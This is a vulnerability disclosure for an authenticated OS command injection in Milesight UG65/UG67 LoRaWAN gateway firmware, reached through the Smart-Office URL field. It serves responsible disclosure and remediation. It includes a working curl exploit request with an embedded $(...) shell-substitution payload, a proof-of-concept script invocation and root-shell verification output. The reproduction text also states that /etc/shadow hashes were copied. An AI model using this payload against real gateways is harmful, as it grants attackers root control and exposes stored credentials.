Authenticated Command Injection in Smart-Office Configuration

Tags

authenticated, low_privilege, command_injection, rce, root_rce, tested

Disclosure information

Field Value
Vendor Milesight
Product UG65 and UG67 LoRaWAN gateways
Tested firmware 60.0.0.50
Component lora_gateway_ubus (yruo_loragw ubus object), reached through /cgi
Vulnerability class CWE-78, OS command injection
Authentication Authenticated low-privilege Read-Write user (ysrole: 1); administrator credentials not required
Validation status Dynamically tested; root shell from Read-Write (ysrole: 1), confirmed by the researcher
Suggested severity High; authenticated low-privilege root RCE
Discovery date 2026-10-23

Summary

The yruo_loragw ubus object is served by lora_gateway_ubus. Its set method handles the ns_general base, used by the Network Server -> General Settings page (www/view/networkserver/generalsetting.js). This page selects the cloud platform and, for the Smart-Office integration, the server address and password. The handler _set_ns_gen_settings (lora_gateway_ubus.c) stores the user-supplied cloud_platform, smart_office_url and smart_office_pwd fields into the UR configuration structure. When that configuration is serialized (serialize_ur_cfg in gateway_lib.c), the on-premise Smart-Office branch writes /etc/quagga/lora/smart_office.toml through the shell:

if (strcmp(cfg->platform, "smart-office") == 0 && !(cfg->smart_office_cloud & 1)) {
    snprintf(content, 0x800, "[[region]]\nurl=\\\"%s\\\"\npassword=\\\"%s\\\"",
             cfg->smart_office_url, cfg->smart_office_pwd);
    snprintf(cmd, 0x800, "echo -e \\\"%s\\\" > %s", content,
             "/etc/quagga/lora/smart_office.toml");
    system(cmd);                    /* lora_gateway_ubus runs as root */
}

Shell substitution executes commands as root when the set request serializes the configuration; no separate apply is needed. See the sink analysis for quoting details.

The web UI only enforces a client-side https:// placeholder hint on smart_office_url; the backend applies no validation before the shell.

The researcher confirmed root command execution through smart_office_url using a lower-privilege Read-Write account (ysrole: 1): the request returned status:0 and the command output was uid=0(root). Administrator credentials are not required for this confirmed path. The validation record also retains the earlier administrator test.

This ns_general sink reaches serialize_ur_cfg in gateway_lib.c. It is distinct from Basic Station (general_conf) and Node-RED synchronization (node_red_security).

Authentication and validation

Item Evidence
Entry point POST /cgi, yruo_loragw.set, base=ns_general
Tested accounts Read-Write (ysrole: 1), confirmed by the researcher; web administrator admin in the earlier proof
Confirmed input smart_office_url; root-shell exploitation is dynamically confirmed from Read-Write (ysrole: 1)
Read-Write result smart_office_url: status:0; uid=0(root)
Dynamic validation Researcher-confirmed dynamic testing produced a root shell from the Read-Write role; the supplied result matrix records status:0 and uid=0(root)
Confirmed exploitation role Low-privilege Read-Write (ysrole: 1)

See the shared web session procedure and authorization evidence.

Dynamic testing confirmed a root shell through smart_office_url from Read-Write (ysrole: 1). The request selected the on-premise Smart-Office integration. The technical analysis below also describes how the URL and password fields enter the shell builder.

Threat-model assessment

The administrator used in the earlier proof can also use the documented admin SSH login when SSH is enabled and reachable. Milesight distinguishes its administrator configuration CLI from the root Linux shell; SSH access alone does not establish unrestricted root access. Milesight CLI documentation.

Milesight also documents enabling Node-RED, signing in with the gateway credentials, and executing a script with su - root -c. This provides a supported administrator route to root command execution. Milesight Node-RED example.

The researcher confirms that this finding was dynamically tested and yields a root shell from the low-privilege Read-Write role (ysrole: 1). This supersedes the earlier administrator-only assessment. The administrator's documented SSH and Node-RED access is background context; the demonstrated attack starts with Read-Write credentials and obtains root execution through command injection.

Proof of concept

The researcher confirms dynamic root-shell exploitation from Read-Write (ysrole: 1). The examples and full transcripts below retain the original reproduction artifacts; the validation record above includes the confirmed low-privilege result.

The following was executed against firmware 60.0.0.50 in the isolated test environment. <gateway> is the management interface (HTTPS by default). poc_smartoffice_url_rce.py automates the complete procedure (login, injection); the injected configuration is deliberately left in place as evidence for triage:

.venv/bin/python poc_smartoffice_url_rce.py --host 127.0.0.1 --port 18443 \
    --command 'id > /tmp/duckie; uname -a >> /tmp/duckie'
.venv/bin/python provision_rw_user.py --host 127.0.0.1 --port 18443

The equivalent manual procedure follows.

Step 1 - Obtain a session

Follow the shared web login procedure using the assigned Read-Write account credentials, verify that the login result identifies ysrole: 1, and save that session as cookies.txt when reproducing the confirmed smart_office_url path. The shared admin example and the full transcripts below describe the earlier administrator reproduction.

Step 2 - Inject through the Smart-Office platform handler

ursalink_cloud must be processed first because the cloud_platform branch depends on it. The handler processes the value attributes in request order. Selecting smart-office-on-premise stores platform="smart-office" with smart_office_cloud=0, which is the branch that renders the TOML through the shell. The command substitution is embedded in smart_office_url:

curl -sk -b cookies.txt -X POST https://<gateway>/cgi \
  -H 'Content-Type: application/json' \
  -d '{"id":2,"execute":1,"core":"yruo_loragw","function":"set","values":[{"base":"ns_general","index":0,"value":{"enable":true,"ursalink_cloud":true,"cloud_platform":"smart-office-on-premise","smart_office_url":"$(id>/tmp/duckie;echo duckie>>/tmp/duckie)","smart_office_pwd":"so-poc"}}]}'
{"id":2,"model":"...","rtver":"60.0.0.50","status":0,"result":[{}]}

Step 3 - Verify command execution as root

# cat /tmp/duckie
uid=0(root) gid=0(root)
duckie

# cat /etc/quagga/lora/ur_conf.json
{
    "enable": true,
    "mode": 2,
    "region": 0,
    "custom": false,
    "cloud": true,
    "platform": "smart-office",
    "smart_office_cloud": false,
    "smart_office_url": "$(id>/tmp/duckie;echo duckie>>/tmp/duckie)",
    "smart_office_pwd": "so-poc"
}

# ps | grep lora_gateway
  777 root     85708 S    /usr/sbin/lora_gateway_ubus

Reproduced end to end in the test environment on 2026-10-23: after the crafted yruo_loragw.set, /tmp/duckie contained uid=0(root), the uname output, and a copy of /etc/shadow (including the root, admin, and pyuser MD5-crypt hashes). The serialized smart_office.toml contains the post-substitution (empty) URL, confirming the command executed during the echo -e, not merely that a malformed file was written.

Test preparation: the set handler's prologue first re-parses the local network-server configuration (reset_ns, parse_ns_cfg); if /etc/loraserver/loraserver.json is missing or unparseable the set aborts with reset ns failed before the fields are stored. The test copy had been truncated and was regenerated before the injection could execute.

Affected assets

/usr/sbin/lora_gateway_ubus
/etc/quagga/lora/smart_office.toml
/etc/quagga/lora/ur_conf.json      (keys: platform, smart_office_cloud,
                                     smart_office_url, smart_office_pwd)
TCP 443/80 -> nginx
           -> uhttpd (ubus plugin: -u /cgi)
           -> POST /cgi
           -> uhttpd_ubus.so dispatcher (session check)
           -> ubus: yruo_loragw.set base=ns_general   (served by lora_gateway_ubus, root)
           -> _set_ns_gen_settings stores smart_office_url / smart_office_pwd
           -> restart_forwarder -> serialize ur_conf.json -> serialize_ur_cfg
           -> snprintf("echo -e \"[[region]]\\nurl=\\\"%s\\\"\\npassword=\\\"%s\\\"\" > ...")
           -> system(...)

Technical details

Request routing

ns_general contains the network-server general configuration. The request schema below matches the shipped web client, www/view/networkserver/generalsetting.js, which saves the values through the generic form helper addsave('yruo_loragw', 'set', ...):

{
  "id": 2,
  "execute": 1,
  "core": "yruo_loragw",
  "function": "set",
  "values": [
    {
      "base": "ns_general",
      "index": 0,
      "value": {
        "enable": true,
        "ursalink_cloud": true,
        "cloud_platform": "smart-office-on-premise",
        "smart_office_url": "<attacker-controlled>",
        "smart_office_pwd": "<attacker-controlled>"
      }
    }
  ]
}

The handler (_set_ns_gen_settings, lora_gateway_ubus.c approximately lines 3000-3100) processes the value attributes in request order:

  1. enable, mode - booleans/number;
  2. ursalink_cloud - the flag controlling cloud integration; when true it also switches mode to 2 and reconciles the packet-forwarder server list (servs);
  3. cloud_platform - compared against the supported platform names, including smart-office and smart-office-on-premise; the branch is skipped unless the ursalink_cloud flag has already been seen set (uc.cloud debug lines in the syslog);
  4. smart_office_url (policy name @0x29550) - copied into the UR config at offset +0x49 (global DAT_00150fc9);
  5. smart_office_pwd - copied to offset +0x149;
  6. channel_plan - region selection.

smart-office sets platform="smart-office" with smart_office_cloud=1 (cloud mode); smart-office-on-premise sets platform="smart-office" with smart_office_cloud=0 (on-premise mode). Only the on-premise combination reaches the shell sink. The fields are persisted to /etc/quagga/lora/ur_conf.json by the serialize step (json_object_to_file, guarded by ur_conf.json -> ur_conf.json.sav rename/restore in restart_forwarder), and serialize_ur_cfg then writes the Smart-Office TOML file.

Sink (unescaped interpolation into a shell)

serialize_ur_cfg (gateway_lib.c, debug string serialize_ur_cfg / write_ini_file @0x2f108/0x2f140), inside fcn.0001ad64:

if (strcmp(cfg->platform, "smart-office") == 0 && !(cfg->smart_office_cloud & 1)) {
    /* strcmp via fcn.00018e80; platform @cfg+0x08, smart_office_cloud @cfg+0x48 */
    snprintf(content, 0x800, "[[region]]\nurl=\\\"%s\\\"\npassword=\\\"%s\\\"",
             cfg->smart_office_url,   /* @cfg+0x49 */
             cfg->smart_office_pwd);  /* @cfg+0x149 */
             /* format string @0x2bfc0, snprintf @0x1b6b4 */
    snprintf(cmd, 0x800, "echo -e \\\"%s\\\" > %s", content,
             "/etc/quagga/lora/smart_office.toml");
             /* format string @0x2c010, snprintf @0x1b6d4, path @0x2bfe8 */
    system(cmd);                      /* @0x1b6e4 (GOT reloc.system @0x4fdb0) */
} else {
    remove("/etc/quagga/lora/smart_office.toml");
}

The url/password values are enclosed in the double quotes of the echo -e argument. The quotes are escaped only to preserve them in the file content. Double quotes allow shell expansion of $, $( ), and `, so a smart_office_url such as $(cmd) or a smart_office_pwd such as `cmd` executes cmd with the privileges of lora_gateway_ubus (root). A " in either value additionally breaks out of the quoting context entirely. No character filtering, escaping, or structured write (fopen/fprintf) is used on this path.

Client-side validation only

www/view/networkserver/generalsetting.js only renders the smart_office_url input (placeholder https://) when the platform is smart-office-on-premise; there is no backend validation of the value before it is interpolated into the shell command. The request can be issued directly to /cgi, bypassing the UI entirely.

Security impact

The researcher-confirmed request using Read-Write (ysrole: 1) converted lower-privilege web configuration access into command execution as root through smart_office_url, with status:0 and uid=0(root). See the shared impact and limits.

Attack prerequisites

  1. Reach the gateway's HTTP or HTTPS management interface.
  2. Obtain a valid Read-Write web session (ysrole: 1), confirmed sufficient for smart_office_url. Administrator access is not required.
  3. Have a valid /etc/loraserver/loraserver.json; otherwise the handler can abort before reaching the vulnerable serializer.
  4. Enable ursalink_cloud and select smart-office-on-premise in the request so the Smart-Office TOML writer runs.

The test system's truncated network-server configuration was repaired before the test. Command execution then occurred during the set request without a separate apply or restart.

  1. Write smart_office.toml directly with file APIs.
  2. Validate smart_office_url against a strict URI grammar (scheme://host[:port][/path]) and reject shell metacharacters in smart_office_url and smart_office_pwd.
  3. Replace the hardcoded Smart-Office password with per-device provisioning.
  4. Apply the shared shell-removal, authorization, and audit controls, including gateway_lib.c.

Notes on scope

See the shared testing scope.